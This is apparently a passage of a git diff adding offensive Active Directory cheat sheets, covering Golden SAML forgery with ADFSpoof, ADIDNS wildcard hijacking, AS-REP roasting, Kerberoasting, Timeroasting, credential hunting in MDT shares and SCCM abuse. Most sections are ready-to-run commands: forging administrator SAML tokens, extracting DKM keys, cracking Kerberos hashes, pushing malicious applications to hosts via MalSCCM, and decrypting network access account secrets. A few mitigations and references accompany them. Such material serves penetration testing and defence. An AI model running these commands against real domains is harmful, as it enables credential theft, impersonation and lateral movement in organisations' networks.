```ps1
# For the pfx
echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
# For the private key
echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin
```
* Create the Golden SAML using [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof), you might need to update the [dependencies](https://github.com/szymex73/ADFSpoof).
```ps1
mkdir ADFSpoofTools
cd $_
git clone https://github.com/dmb2168/cryptography.git
git clone https://github.com/mandiant/ADFSpoof.git
virtualenv3 venvADFSSpoof
source venvADFSSpoof/bin/activate
pip install lxml
pip install signxml
pip uninstall -y cryptography
cd cryptography
pip install -e .
cd ../ADFSpoof
pip install -r requirements.txt
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
```
**Manual Exploitation**:
* Retrieve the WID path: `Get-AdfsProperties`
* Retrieve the ADFS Relying Party Trusts: `Get-AdfsRelyingPartyTrust`
* Retrieve the signing certificate, save the `EncryptedPfx` and decode it `base64 -d adfs.b64 > adfs.bin`
```powershell
$cmd.CommandText = "SELECT ServiceSettingsData from AdfsConfigurationV3.IdentityServerPolicy.ServiceSettings"
$client= New-Object System.Data.SQLClient.SQLConnection($ConnectionString);
$client.Open();
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT name FROM sys.databases"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$name = $reader.GetString(0)
$reader.Close()
Write-Output $name;
```
* Retrieve the DKM key stored inside the `thumbnailPhoto` attribute of the Active Directory:
```ps1
ldapsearch -x -H ldap://DC.domain.local -b "CN=ADFS,CN=Microsoft,CN=Program Data,DC=DOMAIN,DC=LOCAL" -D "adfs-svc-account@domain.local" -W -s sub "(&(objectClass=contact)(!(name=CryptoPolicy)))" thumbnailPhoto
```
* Convert the retrieved key to raw format: `echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key`
* Use [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof) to generate the Golden SAML
NOTE: There might be multiple master keys in the container, remember to try them all.
**Golden SAML Examples**
* SAML2: requires `--endpoint`, `--nameidformat`, `--identifier`, `--nameid` and `--assertions`
```ps1
python ADFSpoof.py -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint https://www.contoso.com/adfs/ls
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
```
* Office365: requires `--upn` and `--objectguid`
```ps1
python3 ADFSpoof.py -b adfs.bin adfs.key -s sts.domain.local o365 --upn user@domain.local --objectguid 712D7BFAE0EB79842D878B8EEEE239D1
```
* Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format.
**NOTE**: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server.
Other interesting tools to exploit AD FS:
* [secureworks/whiskeysamlandfriends/WhiskeySAML](https://github.com/secureworks/whiskeysamlandfriends/tree/main/whiskeysaml) - Proof of concept for a Golden SAML attack with Remote ADFS Configuration Extraction.
* [cyberark/shimit](https://github.com/cyberark/shimit) - A tool that implements the Golden SAML attack
```ps1
python ./shimit.py -idp http://adfs.domain.local/adfs/services/trust -pk key -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id REDACTED
```
## References
* [I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant](https://troopers.de/downloads/troopers19/TROOPERS19_AD_AD_FS.pdf)
* [Active Directory Federation Services (ADFS) Distributed Key Manager (DKM) Keys - Threat Hunter Playbook](https://threathunterplaybook.com/library/windows/adfs_dkm_keys.html)
* [Exploring the Golden SAML Attack Against ADFS - 7 December 2021](https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs)
* [Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps - Shaked Reiner - 11/21/17](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
* [Meet Silver SAML: Golden SAML in the Cloud - Tomer Nahum and Eric Woodruff - Feb 29, 2024](https://www.semperis.com/blog/meet-silver-saml/)

View File

@@ -0,0 +1,80 @@
# Active Directory - Integrated DNS - ADIDNS
ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
## LDAP-Based (Require authentication)
* Enumerate all records
```ps1
adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
# or
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 get dnsDump
```
* Query a node
```ps1
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
# or
bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord
```
* Add a node and attach a record
```ps1
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
# or
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab <Attacker IP>
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab <Attacker IP>
```
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.
```ps1
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
```
## Dynamic Updates (Doesn't require authentication)
Dynamic DNS (RFC 2136) allows using the DNS protocol to update DNS records:
1. If the zone is set to Secure Only, you need a valid Kerberos ticket.
2. If the zone is set to Nonsecure and Secure, anyone on the network can send updates.
Update a record:
```ps1
# Linux
cat << EOF > dnsupdate.txt
server dc.domain.corp
zone domain.corp
update delete test.domain.corp A
update add test.domain.corp 3600 A 10.10.10.123
send
EOF
nsupdate dnsupdate.txt
# Windows
Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose
```
## DNS Reconnaissance
Perform **ADIDNS** searches
```powershell
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain <domain> --user <username> --pass <password>
StandIn.exe --dns --legacy --domain <domain> --user <username> --pass <password>
```
## References
* [Getting in the Zone: dumping Active Directory DNS using adidnsdump - Dirk-jan Mollema](https://blog.fox-it.com/2019/04/25/getting-in-the-zone-dumping-active-directory-dns-using-adidnsdump/)
* [ADIDNS Revisited WPAD, GQBL, and More - December 5, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/)
* [Beyond LLMNR/NBNS Spoofing Exploiting Active Directory-Integrated DNS - July 10, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/)

View File

@@ -0,0 +1,134 @@
# Roasting - ASREP Roasting
> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
**Requirements**:
* Accounts with the attribute **DONT_REQ_PREAUTH**
* Windows/Linux:
```ps1
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```
* Windows only:
```ps1
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
```
* [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```
* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
```powershell
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
```
* netexec Module
```powershell
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
```
Using `hashcat` or `john` to crack the ticket.
```powershell
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
```
**Mitigations**:
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
## Kerberoasting w/o domain account
> In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an **KRB_AS_REQ** request and trick the request to ask for a **ST** instead of a **encrypted TGT**, by modifying the **sname** attribute in the req-body part of the request.
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
:warning: You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
* [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413)
```powershell
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139)
```powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
```
## CVE-2022-33679
> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we dont need a clients password..
Research from Project Zero : [RC4 Is Still Considered Harmful - James Forshaw](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)
**Requirements**:
Accounts with the attribute **DONT_REQ_PREAUTH**
* Windows/Linux:
```ps1
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```
* Windows only:
```ps1
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
```
**Exploitation**:
* Using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
```bash
user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
user@hostname:~$ netexec smb DC01.DOMAIN.LOCAL -k --shares
```
**Mitigations**:
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
* Disable RC4 cipher if possible.
## References
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)

View File

@@ -0,0 +1,104 @@
# Roasting - Kerberoasting
> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
* [SecureAuthCorp/impacket/GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
```powershell
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
```
* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```powershell
netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
```
* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
# Stats
Rubeus.exe kerberoast /stats
------------------------------------- ----------------------------------
| Supported Encryption Type | Count | | Password Last Set Year | Count |
------------------------------------- ----------------------------------
| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
------------------------------------- ----------------------------------
# Kerberoast (RC4 ticket)
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
Rubeus.exe kerberoast /tgtdeleg
# Kerberoast (RC4 ticket)
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
Rubeus.exe kerberoast /rc4opsec
```
* [PowerShellMafia/PowerSploit/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
```powershell
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```
* [its-a-feature/bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
```powershell
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
```
* [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
```powershell
# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
# print the "kerberoast" hash, and delete the temporary SPN set for that operation
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
```
Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)
| Mode | Description |
|---------|--------------|
| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
```powershell
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
```
## Kerberoasting Without Pre-Authentication
> If an attacker knows of an account for which pre-authentication isnt required (i.e. an ASREProastable account), as well as one (or multiple) service accounts to target, a Kerberoast attack can be attempted without having to control any Active Directory account (since pre-authentication wont be required).
```ps1
netexec ldap 10.10.10.10 -u username -p '' --no-preauth-targets users.txt --kerberoasting output.txt
```
## Mitigations
* Have a very long password for your accounts with SPNs (> 32 characters)
* Make sure no users have SPNs
## References
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,16 @@
# Roasting - Timeroasting
> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
```ps1
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
hashcat -m 31300 ntp-hashes.txt
```
## References
* [On the Applicability of the Timeroasting Attack - snovvcrash - December 8, 2024](https://snovvcrash.rocks/2024/12/08/applicability-of-the-timeroasting-attack.html)
* [TIMEROASTING, TRUSTROASTING AND COMPUTER SPRAYING WHITE PAPER - Tom Tervoort](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf)
* [Timeroasting: Attacking Trust Accounts in Active Directory - Tom Tervoort - 01 March 2023](https://www.secura.com/blog/timeroasting-attacking-trust-accounts-in-active-directory)

View File

@@ -0,0 +1,38 @@
# Active Directory - Tricks
## Kerberos Clock Synchronization
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
* Detect clock skew automatically with `nmap`
```powershell
$ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
```
* Compute yourself the difference between the clocks
```ps1
nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
```
* Fix #1: Modify your clock
```ps1
sudo date -s "14 APR 2015 18:25:16" # Linux
net time /domain /set # Windows
```
* Fix #2: Fake your clock
```ps1
faketime -f '+8h' date
```
## References
* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/)
* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html)
* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https://www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)

View File

@@ -0,0 +1,41 @@
# Deployment - MDT
Microsoft Deployment Toolkit (MDT) is a free tool from Microsoft used to automate the deployment of Windows operating systems and applications.
It lets IT admins create a central deployment share with OS images, drivers, updates, and apps, then use automated scripts (task sequences) to install them on multiple computers, either over the network (Lite Touch) or from media (USB/DVD).
## Deployment Share
These files contains credentials used by Microsoft Deployment Toolkit to join a computer to the domain and to access network resources.
* **Bootstrap.ini** - Located in `DeploymentShare\Control\Bootstrap.ini`
* **CustomSettings.ini** - Located in `DeploymentShare\Control\CustomSettings.ini`
| Name | Description |
| --- | --- |
| DomainAdmin | Account used to join the computer to the domain |
| DomainAdminPassword | Password used to join the computer to the domain |
| UserID | Account used for accessing network resources |
| UserPassword | Password used for accessing network resources |
| AdminPassword | The local administrator account on the computer |
| ADDSUserName | Account used when promoting to DC during deployment |
| ADDSPassword | Password used when promoting to DC during deployment |
| Password | Password to use for promoting member server to a domain controller |
| SafeModeAdminPassword | Used when deploying DCs, it is the AD restore mode password |
| TPMOwnerPassword | The TPM password if not set already |
| DBID | Account used to connect to SQL server during deployment |
| DBPwd | Password used to connect to SQL server during deployment |
| OSDBitLockerRecoveryPassword | BitLocker recovery password |
Other credentials can be found inside the files hosted in the deployment share:
* `DeploymentShare\Control\TASKSEQUENCENAME\ts.xml`
* `DeploymentShare\Scripts\` folder
* `DeploymentShare\Applications` folder
* `LiteTouchPE_x86|x64.iso`, extract files and look for `bootstrap.ini`
* `LiteTouchPE_x86|x64.wim`, extract files and look for `bootstrap.ini`
## References
* [Red Team Gold: Extracting Credentials from MDT Shares - Oddvar Moe - May 20, 2025](https://trustedsec.com/blog/red-team-gold-extracting-credentials-from-mdt-shares)
* [MDT, where are you? - BlackWasp - June 27, 2025](https://hideandsec.sh/books/windows-sNL/page/mdt-where-are-you)

View File

@@ -0,0 +1,373 @@
# Deployment - SCCM
> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.
## SCCM Application Deployment
> Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization
**Tools**:
* [PowerShellMafia/PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM)
* [nettitude/MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage](https://github.com/nettitude/MalSCCM)
**Exploitation**:
* Using **SharpSCCM**
```ps1
.\SharpSCCM.exe get devices --server <SERVER8NAME> --site-code <SITE_CODE>
.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug
```
* Compromise client, use locate to find management server
```ps1
MalSCCM.exe locate
```
* Enumerate over WMI as an administrator of the Distribution Point
```ps1
MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
```
* Compromise management server, use locate to find primary server
* Use `inspect` on primary server to view who you can target
```ps1
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
MalSCCM.exe inspect /primaryusers
MalSCCM.exe inspect /groups
```
* Create a new device group for the machines you want to laterally move too
```ps1
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe inspect /groups
```
* Add your targets into the new group
```ps1
MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
```
* Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`
```ps1
MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
MalSCCM.exe inspect /applications
```
* Deploy the application to the target group
```ps1
MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
MalSCCM.exe inspect /deployments
```
* Force the target group to checkin for updates
```ps1
MalSCCM.exe checkin /groupname:TargetGroup
```
* Cleanup the application, deployment and group
```ps1
MalSCCM.exe app /cleanup /name:demoapp
MalSCCM.exe group /delete /groupname:TargetGroup
```
## SCCM Enumeration
* [garrettfoster13/sccmhunter](https://github.com/garrettfoster13/sccmhunter) - SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain.
```ps1
sccmhunter.py find -u user -p P@ssw0rd -dc-ip 10.10.10.10 -d lab.lan
sccmhunter.py show -siteservers
```
## SCCM Shares
> Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares
* [1njected/CMLoot](https://github.com/1njected/CMLoot)
```ps1
Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
```
## SCCM Configuration Manager
* [subat0mik/Misconfiguration-Manager/MisconfigurationManager.ps1](https://github.com/subat0mik/Misconfiguration-Manager) - Misconfiguration Manager is a central knowledge base for all known Microsoft Configuration Manager tradecraft and associated defensive and hardening guidance.
### CRED-1 Retrieve credentials via PXE boot media
* [Misconfiguration-Manager - CRED-1](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-1/cred-1_description.md)
**Requirements**:
* On the SCCM Distribution Point: `HKLM\Software\Microsoft\SMS\DP\PxeInstalled` = 1
* On the SCCM Distribution Point: `HKLM\Software\Microsoft\SMS\DP\IsPxe` = 1
* PXE-enabled distribution point
**Exploitation**:
* [csandker/pxethiefy](https://github.com/csandker/pxethiefy)
```ps1
sudo python3 pxethiefy.py explore -i eth0
```
* [MWR-CyberSec/PXEThief](https://github.com/MWR-CyberSec/PXEThief)
### CRED-2 Request a policy containing credentials
* [Misconfiguration-Manager - CRED-2](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md)
**Requirements**:
* PKI certificates are not required for client authentication
* Domain accounts credential
**Exploitation**:
Create a machine or compromise an existing one, then request policies such as `NAAConfig`
Easy mode using `SharpSCCM`
```ps1
addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 10.10.10.10 lab.lan/user:'P@ssw0rd'
SharpSCCM.exe get naa -r newdevice -u attacker$ -p P@ssw0rd
SharpSCCM get naa
SharpSCCM get secrets -u <username-machine-$> -p <password>
```
Stealthy mode by creating a computer.
* Create a machine account with a specific password: `addcomputer.py -computer-name 'customsccm$' -computer-pass 'YourStrongPassword123*' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10`
* In your `/etc/hosts` file, add an entry for the MECM server: `192.168.33.11 MECM MECM.SCCM.LAB`
* Use `sccmwtf` to request a policy: `python3 sccmwtf.py fake fakepc.sccm.lab MECM 'SCCMLAB\customsccm$' 'YourStrongPassword123*'`
* Parse the policy to extract the credentials and decrypt them using [sccmwtf/policysecretunobfuscate.py](https://github.com/xpn/sccmwtf/blob/main/policysecretunobfuscate.py): `cat /tmp/naapolicy.xml |grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 |grep -e 'CDATA' | cut -d '[' -f 3|cut -d ']' -f 1| xargs -I {} python3 policysecretunobfuscate.py {}`
### CRED-3 Extract currently deployed credentials stored as DPAPI blobs
> Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.
* [Misconfiguration-Manager - CRED-3](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-3/cred-3_description.md)
**Requirements**:
* Local administrator privileges on an SCCM client
**Exploitation**:
* Find SCCM blob
```ps1
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
```
* Using [GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244)
```ps1
$str = "060...F2DAF"
$bytes = for($i=0; $i -lt $str.Length; $i++) {[byte]::Parse($str.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber); $i++}
$b64 = [Convert]::ToBase64String($bytes[4..$bytes.Length])
.\SharpDPAPI.exe blob /target:$b64 /mkfile:masterkeys.txt
```
* Using [Mayyhem/SharpSCCM](https://github.com/Mayyhem/SharpSCCM) for SCCM retrieval and decryption
```ps1
.\SharpSCCM.exe local secrets -m wmi
```
From a remote machine.
* Using [garrettfoster13/sccmhunter](https://github.com/garrettfoster13/sccmhunter)
```ps1
python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto
```
### CRED-4 Extract legacy credentials stored as DPAPI blobs
* [Misconfiguration-Manager - CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md)
**Requirements**:
* Local administrator privileges on an SCCM client
**Exploitation**:
* Search the database using `SharpDPAPI`
```ps1
.\SharpDPAPI.exe search /type:file /path:C:\Windows\System32\wbem\Repository\OBJECTS.DATA
```
* Search the database using `SharpSCCM`
```ps1
.\SharpSCCM.exe local secrets -m disk
```
* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`:
```ps1
